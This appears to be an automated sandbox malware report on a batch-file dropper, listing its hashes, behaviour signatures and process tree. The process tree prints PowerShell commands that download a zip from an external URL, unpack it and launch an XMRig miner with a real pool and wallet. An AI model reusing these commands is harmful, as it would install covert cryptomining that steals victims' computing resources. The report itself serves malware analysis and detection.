Analysis

  • max time kernel
    1791s
  • max time network
    1785s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2023, 19:51

General

  • Target

    tesy - Copy (3).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 29 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4808
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:784
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4880
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:312
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3888

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            2f57fde6b33e89a63cf0dfdd6e60a351

            SHA1

            445bf1b07223a04f8a159581a3d37d630273010f

            SHA256

            3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

            SHA512

            42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            08f9f3eb63ff567d1ee2a25e9bbf18f0

            SHA1

            6bf06056d1bb14c183490caf950e29ac9d73643a

            SHA256

            82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

            SHA512

            425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5igkp2xc.2gn.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\test1.zip

            Filesize

            3.2MB

            MD5

            95452958f42b1b93f0c887f59d84d19f

            SHA1

            c861dc457d57471ab42879f49cc8fe171e7c9b1c

            SHA256

            dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

            SHA512

            96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

          • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

            Filesize

            278B

            MD5

            080123b6eac4a332d3f2b11f6eb3aa54

            SHA1

            8f3d40eae881e3b871cff2aa85521d727ada2a64

            SHA256

            cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

            SHA512

            0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

          • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

            Filesize

            7.9MB

            MD5

            4813fa6d610e180b097eae0ce636d2aa

            SHA1

            1e9cd17ea32af1337dd9a664431c809dd8a64d76

            SHA256

            9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

            SHA512

            5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

          • memory/2060-11-0x000001C228DA0000-0x000001C228DB0000-memory.dmp

            Filesize

            64KB

          • memory/2060-5-0x000001C210630000-0x000001C210652000-memory.dmp

            Filesize

            136KB

          • memory/2060-15-0x00007FF88DEE0000-0x00007FF88E9A1000-memory.dmp

            Filesize

            10.8MB

          • memory/2060-10-0x00007FF88DEE0000-0x00007FF88E9A1000-memory.dmp

            Filesize

            10.8MB

          • memory/3888-110-0x000001FDFD1D0000-0x000001FDFD1D1000-memory.dmp

            Filesize

            4KB

          • memory/3888-112-0x000001FDFD2E0000-0x000001FDFD2E1000-memory.dmp

            Filesize

            4KB

          • memory/3888-111-0x000001FDFD1D0000-0x000001FDFD1D1000-memory.dmp

            Filesize

            4KB

          • memory/3888-108-0x000001FDFD1A0000-0x000001FDFD1A1000-memory.dmp

            Filesize

            4KB

          • memory/3888-92-0x000001FDFCE40000-0x000001FDFCE50000-memory.dmp

            Filesize

            64KB

          • memory/3888-76-0x000001FDFCD40000-0x000001FDFCD50000-memory.dmp

            Filesize

            64KB

          • memory/4808-31-0x000001D89CA30000-0x000001D89CA3A000-memory.dmp

            Filesize

            40KB

          • memory/4808-30-0x000001D89CDA0000-0x000001D89CDB2000-memory.dmp

            Filesize

            72KB

          • memory/4808-40-0x00007FF88DBB0000-0x00007FF88E671000-memory.dmp

            Filesize

            10.8MB

          • memory/4808-29-0x000001D89A940000-0x000001D89A950000-memory.dmp

            Filesize

            64KB

          • memory/4808-27-0x000001D89A940000-0x000001D89A950000-memory.dmp

            Filesize

            64KB

          • memory/4808-17-0x00007FF88DBB0000-0x00007FF88E671000-memory.dmp

            Filesize

            10.8MB

          • memory/4880-54-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-67-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-52-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-53-0x000001FB8B0E0000-0x000001FB8B100000-memory.dmp

            Filesize

            128KB

          • memory/4880-50-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-55-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-56-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-57-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-58-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-59-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-60-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-61-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-62-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-63-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-64-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-65-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-66-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-51-0x000001FB8B0C0000-0x000001FB8B0E0000-memory.dmp

            Filesize

            128KB

          • memory/4880-68-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-69-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-70-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-71-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-72-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-73-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-74-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-75-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-49-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-48-0x000001FB8B0E0000-0x000001FB8B100000-memory.dmp

            Filesize

            128KB

          • memory/4880-47-0x000001FB8B0C0000-0x000001FB8B0E0000-memory.dmp

            Filesize

            128KB

          • memory/4880-46-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB

          • memory/4880-45-0x000001FB8B080000-0x000001FB8B0C0000-memory.dmp

            Filesize

            256KB

          • memory/4880-44-0x000001FB8AF30000-0x000001FB8AF50000-memory.dmp

            Filesize

            128KB

          • memory/4880-113-0x00007FF661170000-0x00007FF661C73000-memory.dmp

            Filesize

            11.0MB